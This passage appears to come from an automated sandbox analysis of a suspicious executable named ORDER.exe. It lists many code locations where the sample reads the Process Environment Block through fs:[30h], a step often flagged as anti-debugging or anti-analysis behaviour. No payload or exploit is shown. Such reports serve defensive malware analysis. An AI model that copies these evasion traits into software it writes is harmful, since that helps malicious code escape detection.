Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324F51B6 mov eax, dword ptr fs:[00000030h]	3_2_324F51B6
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324531BE mov eax, dword ptr fs:[00000030h]	3_2_324531BE
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324531BE mov eax, dword ptr fs:[00000030h]	3_2_324531BE
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324541BB mov ecx, dword ptr fs:[00000030h]	3_2_324541BB
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324541BB mov eax, dword ptr fs:[00000030h]	3_2_324541BB
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324541BB mov eax, dword ptr fs:[00000030h]	3_2_324541BB
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32423640 mov eax, dword ptr fs:[00000030h]	3_2_32423640
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3243F640 mov eax, dword ptr fs:[00000030h]	3_2_3243F640
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3243F640 mov eax, dword ptr fs:[00000030h]	3_2_3243F640
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3243F640 mov eax, dword ptr fs:[00000030h]	3_2_3243F640
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3245C640 mov eax, dword ptr fs:[00000030h]	3_2_3245C640
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3245C640 mov eax, dword ptr fs:[00000030h]	3_2_3245C640
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3241D64A mov eax, dword ptr fs:[00000030h]	3_2_3241D64A
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3241D64A mov eax, dword ptr fs:[00000030h]	3_2_3241D64A
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32455654 mov eax, dword ptr fs:[00000030h]	3_2_32455654
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3243B650 mov ecx, dword ptr fs:[00000030h]	3_2_3243B650
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3243B650 mov eax, dword ptr fs:[00000030h]	3_2_3243B650
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3243B650 mov eax, dword ptr fs:[00000030h]	3_2_3243B650
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3243B650 mov eax, dword ptr fs:[00000030h]	3_2_3243B650
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3243B650 mov eax, dword ptr fs:[00000030h]	3_2_3243B650
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3245265C mov eax, dword ptr fs:[00000030h]	3_2_3245265C
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3245265C mov ecx, dword ptr fs:[00000030h]	3_2_3245265C
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3245265C mov eax, dword ptr fs:[00000030h]	3_2_3245265C
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32417662 mov eax, dword ptr fs:[00000030h]	3_2_32417662
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32417662 mov eax, dword ptr fs:[00000030h]	3_2_32417662
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32417662 mov eax, dword ptr fs:[00000030h]	3_2_32417662
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324A166E mov eax, dword ptr fs:[00000030h]	3_2_324A166E
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324A166E mov eax, dword ptr fs:[00000030h]	3_2_324A166E
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324A166E mov eax, dword ptr fs:[00000030h]	3_2_324A166E
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3245666D mov esi, dword ptr fs:[00000030h]	3_2_3245666D
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3245666D mov eax, dword ptr fs:[00000030h]	3_2_3245666D
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3245666D mov eax, dword ptr fs:[00000030h]	3_2_3245666D
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32420670 mov eax, dword ptr fs:[00000030h]	3_2_32420670
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32462670 mov eax, dword ptr fs:[00000030h]	3_2_32462670
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32462670 mov eax, dword ptr fs:[00000030h]	3_2_32462670
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324B3608 mov eax, dword ptr fs:[00000030h]	3_2_324B3608
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324B3608 mov eax, dword ptr fs:[00000030h]	3_2_324B3608
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324B3608 mov eax, dword ptr fs:[00000030h]	3_2_324B3608
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324B3608 mov eax, dword ptr fs:[00000030h]	3_2_324B3608
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324B3608 mov eax, dword ptr fs:[00000030h]	3_2_324B3608
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324B3608 mov eax, dword ptr fs:[00000030h]	3_2_324B3608
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3244D600 mov eax, dword ptr fs:[00000030h]	3_2_3244D600
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3244D600 mov eax, dword ptr fs:[00000030h]	3_2_3244D600
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324DF607 mov eax, dword ptr fs:[00000030h]	3_2_324DF607
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3245360F mov eax, dword ptr fs:[00000030h]	3_2_3245360F
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324F4600 mov eax, dword ptr fs:[00000030h]	3_2_324F4600
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324CD62C mov ecx, dword ptr fs:[00000030h]	3_2_324CD62C
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324CD62C mov ecx, dword ptr fs:[00000030h]	3_2_324CD62C
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324CD62C mov eax, dword ptr fs:[00000030h]	3_2_324CD62C
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32425622 mov eax, dword ptr fs:[00000030h]	3_2_32425622
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32425622 mov eax, dword ptr fs:[00000030h]	3_2_32425622
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32427623 mov eax, dword ptr fs:[00000030h]	3_2_32427623
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3245C620 mov eax, dword ptr fs:[00000030h]	3_2_3245C620
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32420630 mov eax, dword ptr fs:[00000030h]	3_2_32420630
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32450630 mov eax, dword ptr fs:[00000030h]	3_2_32450630
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324A8633 mov esi, dword ptr fs:[00000030h]	3_2_324A8633
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324A8633 mov eax, dword ptr fs:[00000030h]	3_2_324A8633
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324A8633 mov eax, dword ptr fs:[00000030h]	3_2_324A8633
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3245F63F mov eax, dword ptr fs:[00000030h]	3_2_3245F63F
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3245F63F mov eax, dword ptr fs:[00000030h]	3_2_3245F63F
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324206CF mov eax, dword ptr fs:[00000030h]	3_2_324206CF
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324EA6C0 mov eax, dword ptr fs:[00000030h]	3_2_324EA6C0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3244D6D0 mov eax, dword ptr fs:[00000030h]	3_2_3244D6D0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324196E0 mov eax, dword ptr fs:[00000030h]	3_2_324196E0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324196E0 mov eax, dword ptr fs:[00000030h]	3_2_324196E0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3242C6E0 mov eax, dword ptr fs:[00000030h]	3_2_3242C6E0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324256E0 mov eax, dword ptr fs:[00000030h]	3_2_324256E0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324256E0 mov eax, dword ptr fs:[00000030h]	3_2_324256E0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324256E0 mov eax, dword ptr fs:[00000030h]	3_2_324256E0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324466E0 mov eax, dword ptr fs:[00000030h]	3_2_324466E0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324466E0 mov eax, dword ptr fs:[00000030h]	3_2_324466E0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3249C6F2 mov eax, dword ptr fs:[00000030h]	3_2_3249C6F2
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3249C6F2 mov eax, dword ptr fs:[00000030h]	3_2_3249C6F2
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324DF68C mov eax, dword ptr fs:[00000030h]	3_2_324DF68C
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32430680 mov eax, dword ptr fs:[00000030h]	3_2_32430680
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32430680 mov eax, dword ptr fs:[00000030h]	3_2_32430680
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32430680 mov eax, dword ptr fs:[00000030h]	3_2_32430680
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32430680 mov eax, dword ptr fs:[00000030h]	3_2_32430680
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32430680 mov eax, dword ptr fs:[00000030h]	3_2_32430680
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32430680 mov eax, dword ptr fs:[00000030h]	3_2_32430680
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32430680 mov eax, dword ptr fs:[00000030h]	3_2_32430680
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32430680 mov eax, dword ptr fs:[00000030h]	3_2_32430680
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32430680 mov eax, dword ptr fs:[00000030h]	3_2_32430680
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32430680 mov eax, dword ptr fs:[00000030h]	3_2_32430680
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32430680 mov eax, dword ptr fs:[00000030h]	3_2_32430680
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32430680 mov eax, dword ptr fs:[00000030h]	3_2_32430680
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32428690 mov eax, dword ptr fs:[00000030h]	3_2_32428690
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3249D69D mov eax, dword ptr fs:[00000030h]	3_2_3249D69D
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324E86A8 mov eax, dword ptr fs:[00000030h]	3_2_324E86A8
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324E86A8 mov eax, dword ptr fs:[00000030h]	3_2_324E86A8
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324A174B mov eax, dword ptr fs:[00000030h]	3_2_324A174B
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324A174B mov ecx, dword ptr fs:[00000030h]	3_2_324A174B
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32453740 mov eax, dword ptr fs:[00000030h]	3_2_32453740
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3245174A mov eax, dword ptr fs:[00000030h]	3_2_3245174A
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3245A750 mov eax, dword ptr fs:[00000030h]	3_2_3245A750
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3241F75B mov eax, dword ptr fs:[00000030h]	3_2_3241F75B
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3241F75B mov eax, dword ptr fs:[00000030h]	3_2_3241F75B
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3241F75B mov eax, dword ptr fs:[00000030h]	3_2_3241F75B
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3241F75B mov eax, dword ptr fs:[00000030h]	3_2_3241F75B
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3241F75B mov eax, dword ptr fs:[00000030h]	3_2_3241F75B
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3241F75B mov eax, dword ptr fs:[00000030h]	3_2_3241F75B
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3241F75B mov eax, dword ptr fs:[00000030h]	3_2_3241F75B
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3241F75B mov eax, dword ptr fs:[00000030h]	3_2_3241F75B
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3241F75B mov eax, dword ptr fs:[00000030h]	3_2_3241F75B
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324CE750 mov eax, dword ptr fs:[00000030h]	3_2_324CE750
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32432760 mov ecx, dword ptr fs:[00000030h]	3_2_32432760
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32461763 mov eax, dword ptr fs:[00000030h]	3_2_32461763
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32461763 mov eax, dword ptr fs:[00000030h]	3_2_32461763
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32461763 mov eax, dword ptr fs:[00000030h]	3_2_32461763
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32461763 mov eax, dword ptr fs:[00000030h]	3_2_32461763
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32461763 mov eax, dword ptr fs:[00000030h]	3_2_32461763
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32461763 mov eax, dword ptr fs:[00000030h]	3_2_32461763
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32450774 mov eax, dword ptr fs:[00000030h]	3_2_32450774
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32424779 mov eax, dword ptr fs:[00000030h]	3_2_32424779
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32424779 mov eax, dword ptr fs:[00000030h]	3_2_32424779
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3242D700 mov ecx, dword ptr fs:[00000030h]	3_2_3242D700
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3241B705 mov eax, dword ptr fs:[00000030h]	3_2_3241B705
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3241B705 mov eax, dword ptr fs:[00000030h]	3_2_3241B705
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3241B705 mov eax, dword ptr fs:[00000030h]	3_2_3241B705
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3241B705 mov eax, dword ptr fs:[00000030h]	3_2_3241B705
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324E970B mov eax, dword ptr fs:[00000030h]	3_2_324E970B
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324E970B mov eax, dword ptr fs:[00000030h]	3_2_324E970B
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3242170C mov eax, dword ptr fs:[00000030h]	3_2_3242170C
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3242170C mov eax, dword ptr fs:[00000030h]	3_2_3242170C
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3242170C mov eax, dword ptr fs:[00000030h]	3_2_3242170C
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3242471B mov eax, dword ptr fs:[00000030h]	3_2_3242471B
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3242471B mov eax, dword ptr fs:[00000030h]	3_2_3242471B
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324DF717 mov eax, dword ptr fs:[00000030h]	3_2_324DF717
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32423722 mov eax, dword ptr fs:[00000030h]	3_2_32423722
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32423722 mov eax, dword ptr fs:[00000030h]	3_2_32423722
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324DF7CF mov eax, dword ptr fs:[00000030h]	3_2_324DF7CF
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3244E7E0 mov eax, dword ptr fs:[00000030h]	3_2_3244E7E0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324237E4 mov eax, dword ptr fs:[00000030h]	3_2_324237E4
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324237E4 mov eax, dword ptr fs:[00000030h]	3_2_324237E4
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324237E4 mov eax, dword ptr fs:[00000030h]	3_2_324237E4
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324237E4 mov eax, dword ptr fs:[00000030h]	3_2_324237E4
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324237E4 mov eax, dword ptr fs:[00000030h]	3_2_324237E4
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324237E4 mov eax, dword ptr fs:[00000030h]	3_2_324237E4
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324237E4 mov eax, dword ptr fs:[00000030h]	3_2_324237E4
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324277F9 mov eax, dword ptr fs:[00000030h]	3_2_324277F9
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324277F9 mov eax, dword ptr fs:[00000030h]	3_2_324277F9
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324FB781 mov eax, dword ptr fs:[00000030h]	3_2_324FB781
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324FB781 mov eax, dword ptr fs:[00000030h]	3_2_324FB781
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32451796 mov eax, dword ptr fs:[00000030h]	3_2_32451796
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32451796 mov eax, dword ptr fs:[00000030h]	3_2_32451796
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3249E79D mov eax, dword ptr fs:[00000030h]	3_2_3249E79D
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3249E79D mov eax, dword ptr fs:[00000030h]	3_2_3249E79D
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3249E79D mov eax, dword ptr fs:[00000030h]	3_2_3249E79D
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3249E79D mov eax, dword ptr fs:[00000030h]	3_2_3249E79D
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3249E79D mov eax, dword ptr fs:[00000030h]	3_2_3249E79D
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3249E79D mov eax, dword ptr fs:[00000030h]	3_2_3249E79D
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3249E79D mov eax, dword ptr fs:[00000030h]	3_2_3249E79D
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3249E79D mov eax, dword ptr fs:[00000030h]	3_2_3249E79D
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3249E79D mov eax, dword ptr fs:[00000030h]	3_2_3249E79D
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324207A7 mov eax, dword ptr fs:[00000030h]	3_2_324207A7
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324ED7A7 mov eax, dword ptr fs:[00000030h]	3_2_324ED7A7
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324ED7A7 mov eax, dword ptr fs:[00000030h]	3_2_324ED7A7
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324ED7A7 mov eax, dword ptr fs:[00000030h]	3_2_324ED7A7
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324F17BC mov eax, dword ptr fs:[00000030h]	3_2_324F17BC
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32430445 mov eax, dword ptr fs:[00000030h]	3_2_32430445
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32430445 mov eax, dword ptr fs:[00000030h]	3_2_32430445
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32430445 mov eax, dword ptr fs:[00000030h]	3_2_32430445
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32430445 mov eax, dword ptr fs:[00000030h]	3_2_32430445
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32430445 mov eax, dword ptr fs:[00000030h]	3_2_32430445
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32430445 mov eax, dword ptr fs:[00000030h]	3_2_32430445
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324A0443 mov eax, dword ptr fs:[00000030h]	3_2_324A0443
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3245D450 mov eax, dword ptr fs:[00000030h]	3_2_3245D450
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3245D450 mov eax, dword ptr fs:[00000030h]	3_2_3245D450
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3242D454 mov eax, dword ptr fs:[00000030h]	3_2_3242D454
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3242D454 mov eax, dword ptr fs:[00000030h]	3_2_3242D454
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3242D454 mov eax, dword ptr fs:[00000030h]	3_2_3242D454
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3242D454 mov eax, dword ptr fs:[00000030h]	3_2_3242D454
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3242D454 mov eax, dword ptr fs:[00000030h]	3_2_3242D454
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3242D454 mov eax, dword ptr fs:[00000030h]	3_2_3242D454
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324EA464 mov eax, dword ptr fs:[00000030h]	3_2_324EA464
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324DF478 mov eax, dword ptr fs:[00000030h]	3_2_324DF478
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324B6400 mov eax, dword ptr fs:[00000030h]	3_2_324B6400
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324B6400 mov eax, dword ptr fs:[00000030h]	3_2_324B6400
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3241640D mov eax, dword ptr fs:[00000030h]	3_2_3241640D
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32457425 mov eax, dword ptr fs:[00000030h]	3_2_32457425
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32457425 mov ecx, dword ptr fs:[00000030h]	3_2_32457425
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3241B420 mov eax, dword ptr fs:[00000030h]	3_2_3241B420
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324A9429 mov eax, dword ptr fs:[00000030h]	3_2_324A9429
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324AF42F mov eax, dword ptr fs:[00000030h]	3_2_324AF42F
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324AF42F mov eax, dword ptr fs:[00000030h]	3_2_324AF42F
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324AF42F mov eax, dword ptr fs:[00000030h]	3_2_324AF42F
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324AF42F mov eax, dword ptr fs:[00000030h]	3_2_324AF42F
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324AF42F mov eax, dword ptr fs:[00000030h]	3_2_324AF42F
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324414C9 mov eax, dword ptr fs:[00000030h]	3_2_324414C9
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324414C9 mov eax, dword ptr fs:[00000030h]	3_2_324414C9
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324414C9 mov eax, dword ptr fs:[00000030h]	3_2_324414C9
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324414C9 mov eax, dword ptr fs:[00000030h]	3_2_324414C9
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324414C9 mov eax, dword ptr fs:[00000030h]	3_2_324414C9
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3244F4D0 mov eax, dword ptr fs:[00000030h]	3_2_3244F4D0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3244F4D0 mov eax, dword ptr fs:[00000030h]	3_2_3244F4D0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3244F4D0 mov eax, dword ptr fs:[00000030h]	3_2_3244F4D0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3244F4D0 mov eax, dword ptr fs:[00000030h]	3_2_3244F4D0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3244F4D0 mov eax, dword ptr fs:[00000030h]	3_2_3244F4D0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3244F4D0 mov eax, dword ptr fs:[00000030h]	3_2_3244F4D0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3244F4D0 mov eax, dword ptr fs:[00000030h]	3_2_3244F4D0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3244F4D0 mov eax, dword ptr fs:[00000030h]	3_2_3244F4D0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3244F4D0 mov eax, dword ptr fs:[00000030h]	3_2_3244F4D0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324444D1 mov eax, dword ptr fs:[00000030h]	3_2_324444D1
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324444D1 mov eax, dword ptr fs:[00000030h]	3_2_324444D1
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324554E0 mov eax, dword ptr fs:[00000030h]	3_2_324554E0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324DF4FD mov eax, dword ptr fs:[00000030h]	3_2_324DF4FD
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324264F0 mov eax, dword ptr fs:[00000030h]	3_2_324264F0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3245E4F1 mov eax, dword ptr fs:[00000030h]	3_2_3245E4F1
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3245E4F1 mov eax, dword ptr fs:[00000030h]	3_2_3245E4F1
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3245A4F0 mov eax, dword ptr fs:[00000030h]	3_2_3245A4F0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3245A4F0 mov eax, dword ptr fs:[00000030h]	3_2_3245A4F0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324494FA mov eax, dword ptr fs:[00000030h]	3_2_324494FA
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_32420485 mov ecx, dword ptr fs:[00000030h]	3_2_32420485
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3245648A mov eax, dword ptr fs:[00000030h]	3_2_3245648A
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3245648A mov eax, dword ptr fs:[00000030h]	3_2_3245648A
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3245648A mov eax, dword ptr fs:[00000030h]	3_2_3245648A
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3245B490 mov eax, dword ptr fs:[00000030h]	3_2_3245B490
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_3245B490 mov eax, dword ptr fs:[00000030h]	3_2_3245B490
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324AC490 mov eax, dword ptr fs:[00000030h]	3_2_324AC490
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324224A2 mov eax, dword ptr fs:[00000030h]	3_2_324224A2
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324224A2 mov ecx, dword ptr fs:[00000030h]	3_2_324224A2
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324AD4A0 mov ecx, dword ptr fs:[00000030h]	3_2_324AD4A0
Source: C:\Users\user\Desktop\ORDER.exe	Code function: 3_2_324AD4A0 mov eax, dword ptr fs:[00000030h]	3_2_324AD4A0
